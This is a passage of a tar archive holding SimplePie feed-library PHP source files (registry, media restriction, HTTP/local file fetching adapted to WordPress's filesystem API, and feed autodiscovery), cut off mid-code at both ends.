'video/x-ms-asf-plugin', 'video/x-ms-asf', 'video/x-ms-wm', 'video/x-ms-wmv', 'video/x-ms-wvx']; // Windows Media $types_mp3 = ['audio/mp3', 'audio/x-mp3', 'audio/mpeg', 'audio/x-mpeg']; // MP3 if ($this->get_type() !== null) { $type = strtolower($this->type); } else { $type = null; } // If we encounter an unsupported mime-type, check the file extension and guess intelligently. if (!in_array($type, array_merge($types_flash, $types_fmedia, $types_quicktime, $types_wmedia, $types_mp3))) { $extension = $this->get_extension(); if ($extension === null) { return null; } switch (strtolower($extension)) { // Audio mime-types case 'aac': case 'adts': $type = 'audio/acc'; break; case 'aif': case 'aifc': case 'aiff': case 'cdda': $type = 'audio/aiff'; break; case 'bwf': $type = 'audio/wav'; break; case 'kar': case 'mid': case 'midi': case 'smf': $type = 'audio/midi'; break; case 'm4a': $type = 'audio/x-m4a'; break; case 'mp3': case 'swa': $type = 'audio/mp3'; break; case 'wav': $type = 'audio/wav'; break; case 'wax': $type = 'audio/x-ms-wax'; break; case 'wma': $type = 'audio/x-ms-wma'; break; // Video mime-types case '3gp': case '3gpp': $type = 'video/3gpp'; break; case '3g2': case '3gp2': $type = 'video/3gpp2'; break; case 'asf': $type = 'video/x-ms-asf'; break; case 'flv': $type = 'video/x-flv'; break; case 'm1a': case 'm1s': case 'm1v': case 'm15': case 'm75': case 'mp2': case 'mpa': case 'mpeg': case 'mpg': case 'mpm': case 'mpv': $type = 'video/mpeg'; break; case 'm4v': $type = 'video/x-m4v'; break; case 'mov': case 'qt': $type = 'video/quicktime'; break; case 'mp4': case 'mpg4': $type = 'video/mp4'; break; case 'sdv': $type = 'video/sd-video'; break; case 'wm': $type = 'video/x-ms-wm'; break; case 'wmv': $type = 'video/x-ms-wmv'; break; case 'wvx': $type = 'video/x-ms-wvx'; break; // Flash mime-types case 'spl': $type = 'application/futuresplash'; break; case 'swf': $type = 'application/x-shockwave-flash'; break; } } if ($find_handler) { if (in_array($type, $types_flash)) { return 'flash'; } elseif (in_array($type, $types_fmedia)) { return 'fmedia'; } elseif (in_array($type, $types_quicktime)) { return 'quicktime'; } elseif (in_array($type, $types_wmedia)) { return 'wmedia'; } elseif (in_array($type, $types_mp3)) { return 'mp3'; } return null; } return $type; } } class_alias('SimplePie\Enclosure', 'SimplePie_Enclosure'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Registry.php����������������������������������������������������������������������0000644�����������������00000015144�14757771437�0012467 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Handles creating objects and calling methods * * Access this via {@see \SimplePie\SimplePie::get_registry()} * * @package SimplePie */ class Registry { /** * Default class mapping * * Overriding classes *must* subclass these. * * @var array */ protected $default = [ 'Cache' => Cache::class, 'Locator' => Locator::class, 'Parser' => Parser::class, 'File' => File::class, 'Sanitize' => Sanitize::class, 'Item' => Item::class, 'Author' => Author::class, 'Category' => Category::class, 'Enclosure' => Enclosure::class, 'Caption' => Caption::class, 'Copyright' => Copyright::class, 'Credit' => Credit::class, 'Rating' => Rating::class, 'Restriction' => Restriction::class, 'Content_Type_Sniffer' => Content\Type\Sniffer::class, 'Source' => Source::class, 'Misc' => Misc::class, 'XML_Declaration_Parser' => XML\Declaration\Parser::class, 'Parse_Date' => Parse\Date::class, ]; /** * Class mapping * * @see register() * @var array */ protected $classes = []; /** * Legacy classes * * @see register() * @var array */ protected $legacy = []; /** * Constructor * * No-op */ public function __construct() { } /** * Register a class * * @param string $type See {@see $default} for names * @param string $class Class name, must subclass the corresponding default * @param bool $legacy Whether to enable legacy support for this class * @return bool Successfulness */ public function register($type, $class, $legacy = false) { if (!@is_subclass_of($class, $this->default[$type])) { return false; } $this->classes[$type] = $class; if ($legacy) { $this->legacy[] = $class; } return true; } /** * Get the class registered for a type * * Where possible, use {@see create()} or {@see call()} instead * * @param string $type * @return string|null */ public function get_class($type) { if (!empty($this->classes[$type])) { return $this->classes[$type]; } if (!empty($this->default[$type])) { return $this->default[$type]; } return null; } /** * Create a new instance of a given type * * @param string $type * @param array $parameters Parameters to pass to the constructor * @return object Instance of class */ public function &create($type, $parameters = []) { $class = $this->get_class($type); if (in_array($class, $this->legacy)) { switch ($type) { case 'locator': // Legacy: file, timeout, useragent, file_class, max_checked_feeds, content_type_sniffer_class // Specified: file, timeout, useragent, max_checked_feeds $replacement = [$this->get_class('file'), $parameters[3], $this->get_class('content_type_sniffer')]; array_splice($parameters, 3, 1, $replacement); break; } } if (!method_exists($class, '__construct')) { $instance = new $class(); } else { $reflector = new \ReflectionClass($class); $instance = $reflector->newInstanceArgs($parameters); } if (method_exists($instance, 'set_registry')) { $instance->set_registry($this); } return $instance; } /** * Call a static method for a type * * @param string $type * @param string $method * @param array $parameters * @return mixed */ public function &call($type, $method, $parameters = []) { $class = $this->get_class($type); if (in_array($class, $this->legacy)) { switch ($type) { case 'Cache': // For backwards compatibility with old non-static // Cache::create() methods in PHP < 8.0. // No longer supported as of PHP 8.0. if ($method === 'get_handler') { $result = @call_user_func_array([$class, 'create'], $parameters); return $result; } break; } } $result = call_user_func_array([$class, $method], $parameters); return $result; } } class_alias('SimplePie\Registry', 'SimplePie_Registry'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Restriction.php�������������������������������������������������������������������0000644�����������������00000010017�14757771437�0013156 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Handles `<media:restriction>` as defined in Media RSS * * Used by {@see \SimplePie\Enclosure::get_restriction()} and {@see \SimplePie\Enclosure::get_restrictions()} * * This class can be overloaded with {@see \SimplePie\SimplePie::set_restriction_class()} * * @package SimplePie * @subpackage API */ class Restriction { /** * Relationship ('allow'/'deny') * * @var string * @see get_relationship() */ public $relationship; /** * Type of restriction * * @var string * @see get_type() */ public $type; /** * Restricted values * * @var string * @see get_value() */ public $value; /** * Constructor, used to input the data * * For documentation on all the parameters, see the corresponding * properties and their accessors */ public function __construct($relationship = null, $type = null, $value = null) { $this->relationship = $relationship; $this->type = $type; $this->value = $value; } /** * String-ified version * * @return string */ public function __toString() { // There is no $this->data here return md5(serialize($this)); } /** * Get the relationship * * @return string|null Either 'allow' or 'deny' */ public function get_relationship() { if ($this->relationship !== null) { return $this->relationship; } return null; } /** * Get the type * * @return string|null */ public function get_type() { if ($this->type !== null) { return $this->type; } return null; } /** * Get the list of restricted things * * @return string|null */ public function get_value() { if ($this->value !== null) { return $this->value; } return null; } } class_alias('SimplePie\Restriction', 'SimplePie_Restriction'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/File.php��������������������������������������������������������������������������0000644�����������������00000032445�14757771437�0011541 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Used for fetching remote files and reading local files * * Supports HTTP 1.0 via cURL or fsockopen, with spotty HTTP 1.1 support * * This class can be overloaded with {@see \SimplePie\SimplePie::set_file_class()} * * @package SimplePie * @subpackage HTTP * @todo Move to properly supporting RFC2616 (HTTP/1.1) */ class File { public $url; public $useragent; public $success = true; public $headers = []; public $body; public $status_code = 0; public $redirects = 0; public $error; public $method = \SimplePie\SimplePie::FILE_SOURCE_NONE; public $permanent_url; public function __construct($url, $timeout = 10, $redirects = 5, $headers = null, $useragent = null, $force_fsockopen = false, $curl_options = []) { if (class_exists('idna_convert')) { $idn = new \idna_convert(); $parsed = \SimplePie\Misc::parse_url($url); $url = \SimplePie\Misc::compress_parse_url($parsed['scheme'], $idn->encode($parsed['authority']), $parsed['path'], $parsed['query'], null); } $this->url = $url; $this->permanent_url = $url; $this->useragent = $useragent; if (preg_match('/^http(s)?:\/\//i', $url)) { if ($useragent === null) { $useragent = ini_get('user_agent'); $this->useragent = $useragent; } if (!is_array($headers)) { $headers = []; } if (!$force_fsockopen && function_exists('curl_exec')) { $this->method = \SimplePie\SimplePie::FILE_SOURCE_REMOTE | \SimplePie\SimplePie::FILE_SOURCE_CURL; $fp = curl_init(); $headers2 = []; foreach ($headers as $key => $value) { $headers2[] = "$key: $value"; } if (version_compare(\SimplePie\Misc::get_curl_version(), '7.10.5', '>=')) { curl_setopt($fp, CURLOPT_ENCODING, ''); } curl_setopt($fp, CURLOPT_URL, $url); curl_setopt($fp, CURLOPT_HEADER, 1); curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1); curl_setopt($fp, CURLOPT_FAILONERROR, 1); curl_setopt($fp, CURLOPT_TIMEOUT, $timeout); curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($fp, CURLOPT_REFERER, \SimplePie\Misc::url_remove_credentials($url)); curl_setopt($fp, CURLOPT_USERAGENT, $useragent); curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2); foreach ($curl_options as $curl_param => $curl_value) { curl_setopt($fp, $curl_param, $curl_value); } $this->headers = curl_exec($fp); if (curl_errno($fp) === 23 || curl_errno($fp) === 61) { curl_setopt($fp, CURLOPT_ENCODING, 'none'); $this->headers = curl_exec($fp); } $this->status_code = curl_getinfo($fp, CURLINFO_HTTP_CODE); if (curl_errno($fp)) { $this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp); $this->success = false; } else { // Use the updated url provided by curl_getinfo after any redirects. if ($info = curl_getinfo($fp)) { $this->url = $info['url']; } curl_close($fp); $this->headers = \SimplePie\HTTP\Parser::prepareHeaders($this->headers, $info['redirect_count'] + 1); $parser = new \SimplePie\HTTP\Parser($this->headers); if ($parser->parse()) { $this->headers = $parser->headers; $this->body = trim($parser->body); $this->status_code = $parser->status_code; if ((in_array($this->status_code, [300, 301, 302, 303, 307]) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) { $this->redirects++; $location = \SimplePie\Misc::absolutize_url($this->headers['location'], $url); $previousStatusCode = $this->status_code; $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options); $this->permanent_url = ($previousStatusCode == 301) ? $location : $url; return; } } } } else { $this->method = \SimplePie\SimplePie::FILE_SOURCE_REMOTE | \SimplePie\SimplePie::FILE_SOURCE_FSOCKOPEN; $url_parts = parse_url($url); $socket_host = $url_parts['host']; if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') { $socket_host = "ssl://$url_parts[host]"; $url_parts['port'] = 443; } if (!isset($url_parts['port'])) { $url_parts['port'] = 80; } $fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout); if (!$fp) { $this->error = 'fsockopen error: ' . $errstr; $this->success = false; } else { stream_set_timeout($fp, $timeout); if (isset($url_parts['path'])) { if (isset($url_parts['query'])) { $get = "$url_parts[path]?$url_parts[query]"; } else { $get = $url_parts['path']; } } else { $get = '/'; } $out = "GET $get HTTP/1.1\r\n"; $out .= "Host: $url_parts[host]\r\n"; $out .= "User-Agent: $useragent\r\n"; if (extension_loaded('zlib')) { $out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n"; } if (isset($url_parts['user']) && isset($url_parts['pass'])) { $out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n"; } foreach ($headers as $key => $value) { $out .= "$key: $value\r\n"; } $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $info = stream_get_meta_data($fp); $this->headers = ''; while (!$info['eof'] && !$info['timed_out']) { $this->headers .= fread($fp, 1160); $info = stream_get_meta_data($fp); } if (!$info['timed_out']) { $parser = new \SimplePie\HTTP\Parser($this->headers); if ($parser->parse()) { $this->headers = $parser->headers; $this->body = $parser->body; $this->status_code = $parser->status_code; if ((in_array($this->status_code, [300, 301, 302, 303, 307]) || $this->status_code > 307 && $this->status_code < 400) && isset($this->headers['location']) && $this->redirects < $redirects) { $this->redirects++; $location = \SimplePie\Misc::absolutize_url($this->headers['location'], $url); $previousStatusCode = $this->status_code; $this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options); $this->permanent_url = ($previousStatusCode == 301) ? $location : $url; return; } if (isset($this->headers['content-encoding'])) { // Hey, we act dumb elsewhere, so let's do that here too switch (strtolower(trim($this->headers['content-encoding'], "\x09\x0A\x0D\x20"))) { case 'gzip': case 'x-gzip': $decoder = new \SimplePie\Gzdecode($this->body); if (!$decoder->parse()) { $this->error = 'Unable to decode HTTP "gzip" stream'; $this->success = false; } else { $this->body = trim($decoder->data); } break; case 'deflate': if (($decompressed = gzinflate($this->body)) !== false) { $this->body = $decompressed; } elseif (($decompressed = gzuncompress($this->body)) !== false) { $this->body = $decompressed; } elseif (function_exists('gzdecode') && ($decompressed = gzdecode($this->body)) !== false) { $this->body = $decompressed; } else { $this->error = 'Unable to decode HTTP "deflate" stream'; $this->success = false; } break; default: $this->error = 'Unknown content coding'; $this->success = false; } } } } else { $this->error = 'fsocket timed out'; $this->success = false; } fclose($fp); } } } else { $this->method = \SimplePie\SimplePie::FILE_SOURCE_LOCAL | \SimplePie\SimplePie::FILE_SOURCE_FILE_GET_CONTENTS; if (empty($url)) { $this->error = 'Empty RSS feed URL provided'; $this->success = false; } else { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } $this->body = trim($wp_filesystem->get_contents($url)); if (empty($this->body)) { $this->error = 'file_get_contents could not read the file'; $this->success = false; } } } } } class_alias('SimplePie\File', 'SimplePie_File'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/Locator.php�����������������������������������������������������������������������0000644�����������������00000036552�14757771437�0012270 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * Used for feed auto-discovery * * * This class can be overloaded with {@see \SimplePie\SimplePie::set_locator_class()} * * @package SimplePie */ class Locator { public $useragent; public $timeout; public $file; public $local = []; public $elsewhere = []; public $cached_entities = []; public $http_base; public $base; public $base_location = 0; public $checked_feeds = 0; public $max_checked_feeds = 10; public $force_fsockopen = false; public $curl_options = []; public $dom; protected $registry; public function __construct(\SimplePie\File $file, $timeout = 10, $useragent = null, $max_checked_feeds = 10, $force_fsockopen = false, $curl_options = []) { $this->file = $file; $this->useragent = $useragent; $this->timeout = $timeout; $this->max_checked_feeds = $max_checked_feeds; $this->force_fsockopen = $force_fsockopen; $this->curl_options = $curl_options; if (class_exists('DOMDocument') && $this->file->body != '') { $this->dom = new \DOMDocument(); set_error_handler(['SimplePie\Misc', 'silence_errors']); try { $this->dom->loadHTML($this->file->body); } catch (\Throwable $ex) { $this->dom = null; } restore_error_handler(); } else { $this->dom = null; } } public function set_registry(\SimplePie\Registry $registry) { $this->registry = $registry; } public function find($type = \SimplePie\SimplePie::LOCATOR_ALL, &$working = null) { if ($this->is_feed($this->file)) { return $this->file; } if ($this->file->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE) { $sniffer = $this->registry->create('Content_Type_Sniffer', [$this->file]); if ($sniffer->get_type() !== 'text/html') { return null; } } if ($type & ~\SimplePie\SimplePie::LOCATOR_NONE) { $this->get_base(); } if ($type & \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery()) { return $working[0]; } if ($type & (\SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION | \SimplePie\SimplePie::LOCATOR_LOCAL_BODY | \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION | \SimplePie\SimplePie::LOCATOR_REMOTE_BODY) && $this->get_links()) { if ($type & \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local)) { return $working[0]; } if ($type & \SimplePie\SimplePie::LOCATOR_LOCAL_BODY && $working = $this->body($this->local)) { return $working[0]; } if ($type & \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere)) { return $working[0]; } if ($type & \SimplePie\SimplePie::LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere)) { return $working[0]; } } return null; } public function is_feed($file, $check_html = false) { if ($file->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE) { $sniffer = $this->registry->create('Content_Type_Sniffer', [$file]); $sniffed = $sniffer->get_type(); $mime_types = ['application/rss+xml', 'application/rdf+xml', 'text/rdf', 'application/atom+xml', 'text/xml', 'application/xml', 'application/x-rss+xml']; if ($check_html) { $mime_types[] = 'text/html'; } return in_array($sniffed, $mime_types); } elseif ($file->method & \SimplePie\SimplePie::FILE_SOURCE_LOCAL) { return true; } else { return false; } } public function get_base() { if ($this->dom === null) { throw new \SimplePie\Exception('DOMDocument not found, unable to use locator'); } $this->http_base = $this->file->url; $this->base = $this->http_base; $elements = $this->dom->getElementsByTagName('base'); foreach ($elements as $element) { if ($element->hasAttribute('href')) { $base = $this->registry->call('Misc', 'absolutize_url', [trim($element->getAttribute('href')), $this->http_base]); if ($base === false) { continue; } $this->base = $base; $this->base_location = method_exists($element, 'getLineNo') ? $element->getLineNo() : 0; break; } } } public function autodiscovery() { $done = []; $feeds = []; $feeds = array_merge($feeds, $this->search_elements_by_tag('link', $done, $feeds)); $feeds = array_merge($feeds, $this->search_elements_by_tag('a', $done, $feeds)); $feeds = array_merge($feeds, $this->search_elements_by_tag('area', $done, $feeds)); if (!empty($feeds)) { return array_values($feeds); } return null; } protected function search_elements_by_tag($name, &$done, $feeds) { if ($this->dom === null) { throw new \SimplePie\Exception('DOMDocument not found, unable to use locator'); } $links = $this->dom->getElementsByTagName($name); foreach ($links as $link) { if ($this->checked_feeds === $this->max_checked_feeds) { break; } if ($link->hasAttribute('href') && $link->hasAttribute('rel')) { $rel = array_unique($this->registry->call('Misc', 'space_separated_tokens', [strtolower($link->getAttribute('rel'))])); $line = method_exists($link, 'getLineNo') ? $link->getLineNo() : 1; if ($this->base_location < $line) { $href = $this->registry->call('Misc', 'absolutize_url', [trim($link->getAttribute('href')), $this->base]); } else { $href = $this->registry->call('Misc', 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base]); } if ($href === false) { continue; } if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !in_array('stylesheet', $rel) && $link->hasAttribute('type') && in_array(strtolower($this->registry->call('Misc', 'parse_mime', [$link->getAttribute('type')])), ['text/html', 'application/rss+xml', 'application/atom+xml'])) && !isset($feeds[$href])) { $this->checked_feeds++; $headers = [ 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ]; $feed = $this->registry->create('File', [$href, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options]); if ($feed->success && ($feed->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed, true)) { $feeds[$href] = $feed; } } $done[] = $href; } } return $feeds; } public function get_links() { if ($this->dom === null) { throw new \SimplePie\Exception('DOMDocument not found, unable to use locator'); } $links = $this->dom->getElementsByTagName('a'); foreach ($links as $link) { if ($link->hasAttribute('href')) { $href = trim($link->getAttribute('href')); $parsed = $this->registry->call('Misc', 'parse_url', [$href]); if ($parsed['scheme'] === '' || preg_match('/^(https?|feed)?$/i', $parsed['scheme'])) { if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo()) { $href = $this->registry->call('Misc', 'absolutize_url', [trim($link->getAttribute('href')), $this->base]); } else { $href = $this->registry->call('Misc', 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base]); } if ($href === false) { continue; } $current = $this->registry->call('Misc', 'parse_url', [$this->file->url]); if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority']) { $this->local[] = $href; } else { $this->elsewhere[] = $href; } } } } $this->local = array_unique($this->local); $this->elsewhere = array_unique($this->elsewhere); if (!empty($this->local) || !empty($this->elsewhere)) { return true; } return null; } public function get_rel_link($rel) { if ($this->dom === null) { throw new \SimplePie\Exception('DOMDocument not found, unable to use '. 'locator'); } if (!class_exists('DOMXpath')) { throw new \SimplePie\Exception('DOMXpath not found, unable to use '. 'get_rel_link'); } $xpath = new \DOMXpath($this->dom); $query = '//a[@rel and @href] | //link[@rel and @href]'; foreach ($xpath->query($query) as $link) { $href = trim($link->getAttribute('href')); $parsed = $this->registry->call('Misc', 'parse_url', [$href]); if ($parsed['scheme'] === '' || preg_match('/^https?$/i', $parsed['scheme'])) { if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo()) { $href = $this->registry->call( 'Misc', 'absolutize_url', [trim($link->getAttribute('href')), $this->base] ); } else { $href = $this->registry->call( 'Misc', 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base] ); } if ($href === false) { return null; } $rel_values = explode(' ', strtolower($link->getAttribute('rel'))); if (in_array($rel, $rel_values)) { return $href; } } } return null; } public function extension(&$array) { foreach ($array as $key => $value) { if ($this->checked_feeds === $this->max_checked_feeds) { break; } if (in_array(strtolower(strrchr($value, '.')), ['.rss', '.rdf', '.atom', '.xml'])) { $this->checked_feeds++; $headers = [ 'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1', ]; $feed = $this->registry->create('File', [$value, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options]); if ($feed->success && ($feed->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && 